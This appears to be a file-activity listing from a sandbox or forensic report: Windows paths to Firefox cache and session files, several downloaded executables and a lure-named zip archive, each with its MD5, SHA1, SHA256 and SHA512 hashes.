SHA512 222b0d3e68a7de988db0389b022b6ba8cc3bcebe46c5e05d3269dceda9d12c2e1e3a54daeffd92b20f4cab000ce31d89f168b1ca424f1870946eac873505a67a

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\cache2\entries\B7897374E5B772D293952C630F63AE8C43316224

MD5 c81cd12548ad737e1920d1b717ef0f6b
SHA1 85d340bede8293210b0cf0f799350695c29e0024
SHA256 5b2e50ab76d8a501ed7efb33a8faefdc9bbac65e07a86f498e83cbfb1f42fbc1
SHA512 5da58ced6da44760f8d75a6de124e540f8084188c36c81b2d6c23d10d1e43fd8d1579a07a1c456d8c7a79c6f51b985a8838bac5a58064e5594f10a043411efb2

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\cache2\entries\07BFCE1FFFFAF38E4AA90DB947810067C3DB1828

MD5 24db5295fc645d5f39df55a02d0028a3
SHA1 0db95069fee3f8f138aa1db9319894428aa576de
SHA256 3664189a071de7bfcf215fa0e4265c38c677961011a2a6409ef54b24bb9b8e6c
SHA512 a17b20daac3db3da06e49c08c2d35edfbff341a65030c2d911d85b471d06ac99ea9c0fdbf5b37d3ed366dc4f877e5e47654a26ea101c1f76c54b1caefa3004d9

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\cache2\entries\DFB33DB226D600658AC4C1A16EC2EB4FF28EB6ED

MD5 e35c18bd8e99195e4970f7b200669002
SHA1 53f04cddbdfc8b0fda0e58a6fdf16b1050e66078
SHA256 7326770ada2059f9d64ebdc2ad6a32853172b3bd2183391014182e3d85446fb5
SHA512 c58ca6a8b50da205c017c8e3f44647bd208e1459458da2d3d6ad5bd7b373b6a0d5b4bec30371a39e7abdbe5d66ca2dfecedb991523dc83134053a9a714819804

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\cache2\entries\6B75780DDA423F0016A5C1C85C47BF01EB3C367C

MD5 0609e84398a3a044edd3b3e141879826
SHA1 d07f1e5276e5badbb1392f4720b7dd983a18a0de
SHA256 e64e78bec8c207968356a6d2d8625de0db6d863df7f26f8a88f4d4c213b6b5f4
SHA512 bcf232a4e0c744357788968ffbdc7a30044be609bd028745b1afd0dc6b0e43b35397a8a0e1df2f0367310a0d9880e3bd5a8ba12f6e2b71f741c5fda852fa4c92

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\cache2\entries\0B732767820D7E7C4C98E309246D7A329ED1D1FC

MD5 c6578dc7acbc55277b87650b796b1b99
SHA1 df8cf6a6f8e490a45438bd0a1752203eba84b728
SHA256 5e60eb13b919a22d2fef4739af154b693c3e1a3bb78bee0c5c7a31d46ecd08f9
SHA512 c3ecd64ed629de25b3bcdda3fcdb413d9ad1ee23113b5dd7b9ae3ea9182203c50ca213fd506a90730ad83fda41512ebe57db5f059b9493b3eeed5c4fc9b69f28

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\sessionstore-backups\recovery.baklz4

MD5 908afc88299fd69c829096e01f59d2b3
SHA1 c3a97daf5b387e07c19868f447774a22075b9e27
SHA256 fdc9562591aac0c3124a19b98a5f13630df01e8db735f3bf98cb3f9d88245740
SHA512 a9bcedfa4f1dc9e68e89188a5d61e590c9ee1508a063f4ef908e064d7a8ce17e4241aaaa43cee38efe5aca3d3c6045637dbf9090631ded7ad674a75746b60019

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\storage\default\https+++www.googletagmanager.com^partitionKey=%28https%2Cbolddesk.com%29\cache\morgue\140\{ef831c12-3d29-4ddc-9c2e-fdc246878d8c}.final

MD5 05c18239955961946a0e350a0aeb5c4d
SHA1 3f53dfdf9c6d62dbdf8fa6b21000bc5c6f11ba30
SHA256 9dfec5190a701ec16569eeef1024ee3cd8502ffc96ae484375df9c1d3dbf166e
SHA512 3b1363b17bea7e3c9095427ac65fbacb624e09d1ab3a37f7e4ee7abcf7fd1b8ac93c5050ae644ad404f5de01a414892aece1ae0132f2f4f8ce6856fdb5114e3d

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\cache2\entries\BFBB05DB228969C2A893EF3673A52404709A0BD2

MD5 1a3c626417c08b204d6021185c85b29b
SHA1 2cc733ebc8dd9a273333b9f38a10de44b114630b
SHA256 78f7f3b1bf91a7678259d28d0cf8461f526411ef045706dc6e65477c84c36f3d
SHA512 a4f5ba2befbecb88997afb9b52ff80b931e362a555c93efd71c6a915481f52117f8c34e4b29723281e05440b422afac622e0cdf467d812c8a2470a0d5f2b8633

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\cache2\entries\3C63FB74DC9081B435BDA462899E20ED4FAA9A53

MD5 3e6caef2a4275b8811e55bb04c9d9ab7
SHA1 3e25829290ed9c57ea1ded2fa4b4769779e5caa9
SHA256 c706c6ca85840c4876d614597458cd6acfd41191b1a48b8076df8525cb8e3623
SHA512 5efd4b1125d31fa7ae65742625e2cb49a3c96ee087e5dfeb0922ed4d2f5221c2c85b9ad5309ccdfb996d9a52ee7902d173f4c9bbd62c3327aa7d236fbb729d7c

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\cache2\entries\AFB9521B940D710EA8D440D7860194FA2DC4B3D3

MD5 1e085f05adfa662178cde4c88f33d142
SHA1 2622b7b336fd2d122108dd2463bc0ae6fc0e7aa9
SHA256 e824a76f3e936bee1eb198f9f8e17cbd548dd67e0abfb416325ce6d23e6fbe56
SHA512 9e498fb8c48eb0293514bd2b27eeb339cab411ddb20febce0afd5e2f8479eeaf3c7ff3e4a4afb6306d03595e958e09c690a263e43b25a21a35e8b1fcbbe7bfda

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\serviceworker-1.txt

MD5 f07f81ae0995de2d18fce7084a620b9f
SHA1 65b644ddb4bf23f7cdf937dca53ddef3e1e0af68
SHA256 8bab5a3831bb6a184c6881bd6b37b955e603bc7bb8b35665c7d772b88b68ae00
SHA512 9bdf60720faa74d3c99d7f32c7f81964c041cd81e227b09f89b9b003cd844879ba2712706dc4597099ab0b575b7db25442df09e132069631277ce5c8e3d3730c

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\serviceworker.txt

MD5 381445b46f5f26d6ef7eb49ff97b0880
SHA1 95d147f5d09a6afe34897c4ceed0dbcd77cc444c
SHA256 2f318e5067ac78e6a0da5c9edde2f6fe98fe360a0440f14ff420017476d94dd7
SHA512 bb0f04365ba9d2dcd3014f9de274e8c61903e1c61f86b69bf5abad049ba9c763c381fad54bf902accdc238577cc0a5224a642e8895c0bcc5734caa7b83f1eb06

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\cache2\entries\A6D67DBB50DB04D0BC56F39825ADD2AD06328910

MD5 f137cc0f94f85afdc37a723d8a7b46f0
SHA1 a88816cc06745fce7145b1de68f8a61f5936b4a9
SHA256 7d597945334a9b99ede7288d060053258d480703f6bcc79eebcc1462c43027e2
SHA512 1947fd1bff41a8dfee3ddaaf45a83cd8f3ce1f3cc74f4d70e9e06042348a673d67653a501316d7f9b4750c7e47463727025987db53b2a6250bb703a7b34f0e6d

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\cache2\entries\BA0137E6C4F45FF87DA44D7E8833E5195FB663C4

MD5 fbd70f47f3ac8f633d70b6f8db5e61d2
SHA1 a7155e1b28aab77a4a68e749693e92388771a240
SHA256 e812b353eff1ef4e435bb445b944a1af1d6eb8dd4ccaa73c177a07054a766505
SHA512 53825f81695abf3fc9625d2960d463dfc741ef953bee8e28b796debf1fd9d5bb69c8b8bc3fd22d29dc45a01201d09b28d956d45a08f5ca47740847e647b24757

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\cache2\entries\E7F47B77CEC26D4BD33F6938B52A484E6CC2D0EC

MD5 d16c3178b817dc253941714285950e0b
SHA1 c5fe528038b27bc53bff68affe283ef7eae7ec4b
SHA256 695a4ff06dfb8247ffb0afaff5a618b49cb5bde652a132af177447b6f0f5ad14
SHA512 b929a80dd826c6c3cd31c298904c15950e3a657e75997bc591c1f882310f456bd089cd5b24797a653457db98ec3c2ba3801eacc59c5fecdad2a99fff3db00fbf

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\cache2\entries\DA0E138F814BA096B6531803482D1979239C5441

MD5 8fa133a891562b7b54e9e7f218d57ca8
SHA1 df4a8188c0a9836d5c2575a154c053934a091be4
SHA256 24a4d31fd379f1bafe8daf39083efdad2fb00e45a0568015fb193741c3965ab2
SHA512 4e29bb89e6739f46776cb480b4e9cc646a2d09310dfa05cad24567f33ee93b86aa40746001e23109704a0a05a93043bb356d47ddd38db097ea775231cafd0559

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\cache2\entries\3E9D39BC9F5CEB44FDDB5073234018042A182D31

MD5 0eb7582dcb9ade02b6725a82542f7001
SHA1 6d31330b27018a971b400af342201b24c803ea8e
SHA256 944da50d9efefe089de8d9282a9ded6d70b0794793ee7bae2948c9f12b1e2de6
SHA512 ee5fbd85f49877ed872243e5494766b884d306cd23890ab80be52e2c29ce4299312a6ab409f4947ac634c41ef4d422b09f5ee97945c86054b8d9e6169fc0ed5b

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\cache2\entries\B9B0B36787141C9AE04AEB44546403D613BF6113

MD5 8d70e1c981d09571597780b50665427d
SHA1 db5a01d1a181ec002cbab80dc8796c7fd02a0b67
SHA256 30a607615809acb2aefdc69bf299b48c268495e222b74d8fe85f0e65b404fb2d
SHA512 372785718f349ebf237d52b94a18d004b4d7273e26d9fc5c1941d9b61239e735e28d9b97e27a4212a9cabbe7ebfe9158be93878cce3315ecffd2ca93a57cfb34

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\sessionstore-backups\recovery.baklz4

MD5 e3b5a3696cc5b102300dc59a31bdd279
SHA1 f6edab473bb29fbd19b144465ca433b66c509845
SHA256 280740384bf757ca15c80fb8f0681e0b3a4353dc52435ac86278d09ba1d48f31
SHA512 84fad0808d6acae0d679759366170f86b54efb91e14a913bd8867baa94c0e706cbb4dc7f43a9254a06866753d00128371db3c20fc271227969d2ec9f5caca363

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\cache2\entries\8070281E1035B14B538D92730E2153402DE1ABE2

MD5 f44450166c5c59889ac3461e2cb0ad36
SHA1 c0c93fa6c7ea6c386e4d62344906b75cb0ecc00d
SHA256 0dd1b0ba84bb856e9accc07d9f593eb5823e238c31b9f8526f7385413eea3487
SHA512 1077d403f1b71e6abc727c34c0ae540e0c5d7aa7f22b24c42d37f59bb3ebcd3bd21341263933691f9c09536576dbd8e35dab97ce6da89eaa18bf5dba09ca57df

C:\Users\Admin\Downloads\Brawl_Stars_V2.0.11646.123.exe

MD5 f5e7ba37555932ecea7fbd874108d47e
SHA1 009c388a6e381f502dee72c587f553a03838436c
SHA256 2f6e75e0384b85cbaffbb9947cea5c1b2e4acf4952c3ab6fae919c8a965e1d43
SHA512 7ac31e4e877d4e7058cb7927e63d02e07272ba81c06b23c70734ed91bde435ee77effba5e8ced2dfb2480e4115a3ab735438bdb5e330e6f2c7dddde76cf30ede

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\cache2\entries\D87ED060D1172DC91158FEB1E8EF938F66E57241

MD5 0fc8ea0614b1a1d9aa82f123a057bb2d
SHA1 669cdb8f420f526252cff2c147df02ff77117fb2
SHA256 685c918e7f6619a350a6a542b4367c2c84e405d456960b3fe2f61a36411de97c
SHA512 1d32ee64b65ffa42295f9ae1b20e0db760e58c815281e2f72b7d88e9d278cd31c2362cc3ffc7c9137d3d420a2a68cd0263c2ac23c6426b8ff118620a1b65e587

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\cache2\doomed\9552

MD5 cf6a0641c98faef216f50d95caa5b2f4
SHA1 38b7f176f5069642bba9dabbb74a7afd357fcc30
SHA256 76a4aae690f80495194ed1ee80acad7d94a604aee7fc32ed5970c866a2a94ec3
SHA512 1d7327aafb45598b0b670d9c5da855780526163875e0db494b3498b499e0551c0e815dedb40a1756a94f097db4718570ba0e02c5d0b80a57e48a04325bca2e66

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\sessionstore-backups\recovery.baklz4

MD5 affff584b174dc07fc4790a530bf68ff
SHA1 e8b9f70c7f31a7ded6fa8af20d638ccbd978f5c5
SHA256 4885102967c815b02f70441c853eaf42aee9bb6d3c4cf63afbe82c3355811e99
SHA512 8e1864de60b655060eac403f50040b0002ad219100a2a2ad986caea04d586c2380e015d2f458d570852cd8f5371f5705db12a6ef227fce6a8cb710082f8b0a6b

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\cache2\entries\3AC041A42454152BE847B146238D4074A5B12804

MD5 bfd1d96abcf2f7ef6ab6715da045555c
SHA1 69cd4aa4272765dcfeafd87a85e88a41f0382e25
SHA256 08fa695ff54725406c910f88a1d55de23808cb383d9b773828dd4ac351f9cab7
SHA512 83d864fe56486fbd68846ee6f9eb8168ed6e6132aea519d1f0d2502e157e6b24f4e3e748f9e2b90607090453b4841a13683c8cbe3eff44620c3ded322b82facd

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\cache2\entries\4762C5059C2AB1FB5CA9B1135EA09D9E438C441A

MD5 df88946ce6195de7cf7fc619929a2903
SHA1 0ddfb1b9a343e890882e7cade0f33d50430794b5
SHA256 ec06aa09eccc7655bdd729228596be230814e46ce2d02bd0731f2f0d68399fe8
SHA512 6f168ead7d6b8d12b02c7986ce0764ce632aee42309576132fa79de3b880b9cffccbeda8fc64eb0aa3a261e80b0e97b6d10555757f349ba818e2c01d74a8c598

C:\Users\Admin\Downloads\convertmasterapp.exe

MD5 53ab0f4dde704ebb36726e1ebbacad5d
SHA1 4e6a2ff8f52a67037d92c6d21f57d086b5f69cb0
SHA256 b61dd6d72c2ec6f7ba6d8a3e63f3ade377821cf7b9b1692b333a0baba646a6ac
SHA512 e4abeabc62986bef4eb2df1802ae8a4e87ce9fde7012a2072aace9caa4430bba2b615db057188dab6caf72c58722dd57ca45a7048080a79ef650e6fa288e8907

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\sessionstore-backups\recovery.baklz4

MD5 e7f1a6323e9162b4b278862a50823a09
SHA1 4fd313cfa447e7e4ba46f20693987c5c842d855f
SHA256 ad371d0c9cc716f40ce81262de3d71ac68007f045797715a9a6e29652af365be
SHA512 83d183aa7bbc6a766e2a6ad2b56fad37aa9de7007d83177c3ee2417d2ef9f7935f66971699a8a6d30f1e60e8e4aa36db0ad80cdc946e57b252e72cc0ef84fb15

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\cache2\entries\49613ED06F668789B58DD1DA88109B24135817D2

MD5 d45873ab2217c7c66c7cf6d34949b663
SHA1 02b558fb7ad6a3ee5688b0267475363fcd5d2a7c
SHA256 42671abc2139034a8885382327d9a1155a033fcdb9127c3596a209360e8313a0
SHA512 6877608e3c42408c2a82833eb3e0fd330780b14c288fac9aeb66785a1c3fdfebad6e16431d47caf3c4b8801b3dec5bbe066645f950bbc00276862eb16cb2331f

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\cache2\entries\7F76A29F459CC1385E7FADCB18A844F322B3A832

MD5 8e88e098b1b1f2c955486ac7a19cdb28
SHA1 727120ec82d432e4d75f1522887336e8fc0fcb67
SHA256 7f1a50afeae697f71f33ab570606bbbe07f036c034417e75444464ece1bb6975
SHA512 3adb5bbb5ff7202a6efc5601556d6e649f6c9560c35b89a24e4e52c79592b3dbfbe0550fb609a4358870f82c6819899a6aaf5abe3aba014582c6538c8335dedc

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\sessionstore-backups\recovery.baklz4

MD5 d8e95bc0b72bb7740529ca5b2ce5bcb9
SHA1 6dbe7b0475f2d89d44a4d490accbe2edae87e750
SHA256 3db8a3d3f702405c15f5fbca3c907e24dbab2c64f51e2755b3ab6b6560a85f3a
SHA512 e48701573274b4aaa1f2c782ad307ffe8786c637c51e2d067c6dbf46101fab68597d49154765581126dca5baa4d3219ea7ce3d8cdef980d383fb87190c75badc

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\cache2\entries\D3997B5E4365FF84BBECDA3D1939508B5A2ED9DD

MD5 f440f4dd9640c997a7e3aa4ce7e01343
SHA1 60ce309f408b023780f9a32897670f4d0caf24ae
SHA256 792f3ee791d9321d1bef16f08624404e20c9f0950e8cc38f18be32d02c84025e
SHA512 66543c7b6658013af8ca8fbf306cf1bff9062bb0fe220ac67a2993f15f7ca941a1558da9f27846da7cb25b110a971d90100be256c5cd3c83363e3b1ba72525ee

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\sessionstore-backups\recovery.baklz4

MD5 b97119342be347d7d5b833fbc3c3930c
SHA1 fffd3cd2e30ae7ceb11b8d192f28b8de0ce937f6
SHA256 489612e21401ee08c2ff0a15f6b9169002b3da051b7d020d7a00fe1d107f614f
SHA512 6c26c4aba3a91ea93583474bef70323c0e92298fed44eaabea9ef6b8073ec6fe8b34a8127514ded4879ba81eeebf20cc03dfd31e512a3d9609d40b3343c78194

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\sessionstore-backups\recovery.baklz4

MD5 85e06049ccd1fcc51d2fa4879f27273b
SHA1 ffd02675d9691da68d244ed1369d014dcfdbde42
SHA256 c16f37275276b41f132f8af84fcbe862033fac1f47b4959f0e2e196f58c54a16
SHA512 63abcd9efc6bedfc9e587a40d30340e50458b26198d0df7b91160ba81736885aecf2fe727d68fbbf4735906572ba47b2ea23f5c126ac12c5fefbdc2940d49e9b

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\datareporting\glean\db\data.safe.tmp

MD5 0212484eb15ab5869e37a6139f13b8fd
SHA1 a78399d024834f8efed608a3d941910bd8213aa2
SHA256 877a73cee6f8804e13df2a16325723352c5e65e945ac22e6b13780a89d5c8bde
SHA512 f8e150fc8f75da162193101a63214ee7ce731078e15cedd0271cc90b3af29575e7c6b46e820a785aa27cbfca53d2448853304be7b82089d72b32ed51b9201fb3

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\sessionstore-backups\recovery.baklz4

MD5 9f378aeddf335535341464d8628c9043
SHA1 f97d9cc8130dab95c67bf8207414ffc2b6eaa142
SHA256 52366adc213959bafaee12d1492c0ecb064e0e9c6b2a54e5592c94378dd957a5
SHA512 062d1fcbbcaebe0baa3185adb01cebea293bb20268334b0c60cb9cd0700d799e1ba68bcb60d3c9e1473565800dcc8e714ecd13bd1b7d56a266e2489a55b0e7cf

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\sessionstore-backups\recovery.baklz4

MD5 1f4c20dd3076cc042d81ca6d7cbcd60c
SHA1 6a922ccd523956a55e6eb2cfd0b16ebe94f1d9e6
SHA256 e2ae4eac6a387838d3171929e2419425ebb41a4843c13a14569145b53dc0cb3b
SHA512 78e1f26ae711d84c74848c106de3ca0600e6f8b3413a6a2818833728e9d9c16e13064265ad278ff419bf7b0a043148d8c684455cd30b23e6f085c628573e7d0f

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\sessionstore-backups\recovery.baklz4

MD5 6384de4d4a904167272e8cea8e19141e
SHA1 7cbfbae9a624254b8a7f89ced8671c493ef1f5f3
SHA256 1b20a72bb94c48dbe9e903837c743d35232d5457bc7bce271d2b74b5bfee7197
SHA512 6f65cbaeb0c036d248cc7ed91638879a30728b012df72aa99061f00028972b29c73306c65920f4ea0159202d7bbbf6f8c7263d4036cb50e0b6196c803bcec1eb

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\storage\default\https+++mega.nz\cache\morgue\26\{a16b61d3-fa4b-4320-80c6-ce2e510f5a1a}.final

MD5 3efa9abd92666265dd81c4f4311a96f9
SHA1 41b6b716d67b93555e444cd453f3c6e3f8c9522c
SHA256 5066b1841e8877db31312ef3af86f9bc9234c95071119e025764f45241a4e2e7
SHA512 5961950f077501608a0f2975e7f69c483eeacc4eec4ac77fd650cc1131609501f87819f93ed23aa508a90426156abf038a859fac4112d2d4435bbb634027cd6c

C:\Users\Admin\Downloads\#Pa$$w0rD__5566--0peÉ´_Set-Up!.HI1Ek-Yl.zip.part

MD5 a9a1c4acd5ee5369bbe4b709be04d5c9
SHA1 cef14208c65afa71bde38d2dacd1f566881087bb
SHA256 6146eb48d5280f17a72ef691a90cc00ea2859eeb02bec2337f00078ac8af3fab
SHA512 762e6c707617e3a9b0772c76c820d7008f051b6aa5a1465024e293b830623ba5a2b589d73417d78a261c77c0e543435116e2b4378df4c46235198720de506114

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\sessionstore-backups\recovery.baklz4

MD5 392266fe7e3ec3f13c1f26cf881c644c
SHA1 93d27096018a322e8fa2d6acb34873e265e3f6b0
SHA256 bad64be65487971da991ea4ce4abf36ed0c93a73d7903ca5e4ab90c62398044a
SHA512 e162a8b7debe7e9299b653f0b53980ec568097629b0d86a2c085e2b0cdbc3bad35786389c1c66493ff56158dc092607d6a51fa914528d3738daf750bf1e60585

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\sessionstore-backups\recovery.baklz4

MD5 8baa6b10bbe50751f09d54b08bbdc5e6
SHA1 c7879b9cfb8d4776aa9128a6a7949bebd500dbe0
SHA256 18764a4bb49a0f01dd133823be97c771f0e27c136b9db1168180dfec42ad9d0b
SHA512 b2eb6017c04875781445ef7b733a596c4afd187121e94af5c9f5dfcf91fc1d06e93a6c644dc9678db8702a2f34e5b756aad5ab32d0aca9300042da65ef481383

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6824f4a902c78fbd.customDestinations-ms

MD5 cef75c6143c76e5a22a5e30f7f919fb7
SHA1 55b558112ec0cf6c0532b3a8aee7c5ad2a2dfadf
SHA256 2ab95dbbde1c86ca837bf0c2b6ed73558a902cf26e066e21f8826d32aa5ff100
SHA512 910d95a563be8152d5a33e70673bd13b3d1309dfd21fc0dfb0344926b88d65ca92ee1e5e18184502d559ac7adfad0640643a343ae759b41a74a3dddc685182d4

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6824f4a902c78fbd.customDestinations-ms

MD5 961556815890b7882e546d25b935cb27
SHA1 ef3e2780193c09d7fa5c862e94b36510794a6f87
SHA256 c054cee5636a44605567027ae332142b602392a1b0fadc2b560be2bac1a4477a
SHA512 27d09a179ff1c9f9f724450d41b7fb6307cd1e41fa19a78cf2b788a2db2c85b22103f7aed85cf891a525f03dd71b385df572f2e5b9d483556b755c0daa5da4ea

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\sessionstore-backups\recovery.baklz4

MD5 edc2c00c55ab1ec7e2ec32584af5e31e
SHA1 cf4a6127e2ec7423063d0afcb156751c193ccec0
SHA256 f1a3c79c7c8d621f64430c85f996944222ace53a1eef0b262a93966ddf9f5af8
SHA512 b57bc554b86a6c74d6d27fe0f67e2e9c928f38f96803737e1bed7ec67d07d7772d6a9b3703b225018d0df209cb498959c7925b9af8e4a6488ee75ff9fb580c4d

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\sessionstore-backups\recovery.baklz4

MD5 7f033c61b123e0e1ac1387b5a26bade3
SHA1 54de26a8d1a8ee9511a15760332f6c90b4bd3d50
SHA256 a19be5aa22e37bb1d8b8727b204e0299a454837a2d4fa5217c3b04faca805e4d
SHA512 e0be4e8e188e23580b26d33b35f0107b8199464528f53245925733c17e7510a7400b2714d19c3eec387694f7bfe22cc78932171366525aa977189abd6bbfe77b

C:\Users\Admin\Downloads\7z2409-x64.exe

MD5 6c73cc4c494be8f4e680de1a20262c8a
SHA1 28b53835fe92c3fa6e0c422fc3b17c6bc1cb27e0
SHA256 bdd1a33de78618d16ee4ce148b849932c05d0015491c34887846d431d29f308e
SHA512 2e8b746c51132f933cc526db661c2cb8cee889f390e3ce19dabbad1a2e6e13bed7a60f08809282df8d43c1c528a8ce7ce28e9e39fea8c16fd3fcda5604ae0c85

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\thumbnails\7c3f93a73e8cc49fbcfd7900a216ee96.png

MD5 d26ec5d1326e53e3494e2d70c7e62e0e
SHA1 5a59bf762101869e282f01e3e7272fc4a957be4f
SHA256 10a8abd037c21297eabe24ceced6a963062e1027c4fc0f56512a85afb1af74c0
SHA512 36979aa480ab3bf0e1e1adedd0a52bf1b6fb0c0628149229477dd008cebe3c3282bcc0986e91f8695d2f78e64894db4f784668b722747f3e90fbfcc52a1cca31

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\sessionstore-backups\recovery.baklz4

MD5 49944bf8070a8c538ddec5435f7c72de
SHA1 2d03b229c52c27d76d82dc2f2fecb5a38545d454
SHA256 d5d603419a8e83dc0d7d6528bb9c34d78dc99d725ae78beffe00071e9ea7fea0
SHA512 8eed9a18d4e11a02a6fb49e21425a791f063f0f619080a77ba98dbb6fcb613c43a375be0278c2983b30c1db70c98f67ebf536ce9788277438ec76385c1f3b4aa

C:\Program Files\7-Zip\7zG.exe

MD5 d882650163a8f79c52e48aa9035bacbb
SHA1 9518c39c71af3cc77d7bbb1381160497778c3429
SHA256 07a6236cd92901b459cd015b05f1eeaf9d36e7b11482fcfd2e81cd9ba4767bff
SHA512 8f4604d086bf79dc8f4ad26db2a3af6f724cc683fae2210b1e9e2adf074aad5b11f583af3c30088e5c186e8890f8ddcf32477130d1435c6837457cf6ddaa7ca1

C:\Program Files\7-Zip\7z.dll

MD5 c4aabd70dc28c9516809b775a30fdd3f
SHA1 43804fa264bf00ece1ee23468c309bc1be7c66de
SHA256 882063948d675ee41b5ae68db3e84879350ec81cf88d15b9babf2fa08e332863
SHA512 5a88ec6714c4f78b061aed2f2f9c23e7b69596c1185fcb4b21b4c20c84b262667225cc3f380d6e31a47f54a16dc06e4d6ad82cfca7f499450287164c187cec51

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\datareporting\glean\db\data.safe.tmp

MD5 ec158b1cef6904e178a1019e166c41d9
SHA1 2ca2923155d641e5a818b237b8d4bd59d622994a
SHA256 1e65a09289ba35b9fcc8784bf55a4f2664670447f66164ade68c1e8e07b82df1
SHA512 0dc8ac0157531a572272589a2d40727a5fea9130626445abaedc2dbb3a12cd6d97d253baa64ecffe69f1783e18fd270d9dc5e747e8839b0241963d0396c4ef67

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\prefs-1.js

MD5 200410f8c37ef02b9b96abd6076b72c8
SHA1 63e55b4d35057425b433a9ac79982c38026ebf35
SHA256 20fe06b2d94d5ea7b56811e4027c76976ddab0a53fa676d7a54c3ee5f96b5f98
SHA512 b8f506edfbd5af22d841888e311bae47a58709c5122af42be0b928c3637ee0e581c709016f18aac9180c03ab6b369153c29ed085705de992130ebe0d97199839

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\thumbnails\6cc4d16d5db07ea63c8285b340ef7c9b.png

MD5 75e894c56a91c00253485a0cdebdb48f
SHA1 9a2b945b22d49ed20ff76e6078a188158f9d43e7
SHA256 228260c93de16eb882f4cc4e02bc1a19a1df3dcd6303554f0c3a9fd42dd68067
SHA512 95a17ce7c182796a5d122c39c0f725a5c6cb46073c05dc61e02c4d24df16a09f1ccbbfb1651b97cc3c055796ff6cc6612ff1fbd0e38e1f0dc3ac9562929436da

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\sessionstore-backups\recovery.baklz4

MD5 b89d77e7e595fbdb9287e9b6fde91fef
SHA1 9ae9cf4c2e080de51e0209f8d4db666408b16e36
SHA256 d63f749c8db5b4e75c2ab806f8067daa12c33b598a5a5f9c814636af73815616
SHA512 41a063fc17eb123088b02fcaf043478a7077eeb9d949973a6f253d6fb1844edaf9d7064f1d6c4eabe6eeece761b9728d5fd34e0d6f30ac1dcb17f1ffc83b38bf

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\6mx7q9sf.default-release\datareporting\glean\events\events

MD5 f87423147804a0eb65929c1a6d45c561
SHA1 4ae0781c2450f9a010ade5703249ddc879499794
SHA256 a4faa4f20c385c6951cededc52a9b890c6c100ea0647c70e3c35a7321920cad9
SHA512 4ac1779c99ca094a56ecbf3d60429527d8a0b522165b03ac001c1470e1b56d0f20616a78fbe1f61d3d58ab328a5b78042570d373ca780b340125dbde3324b6d7

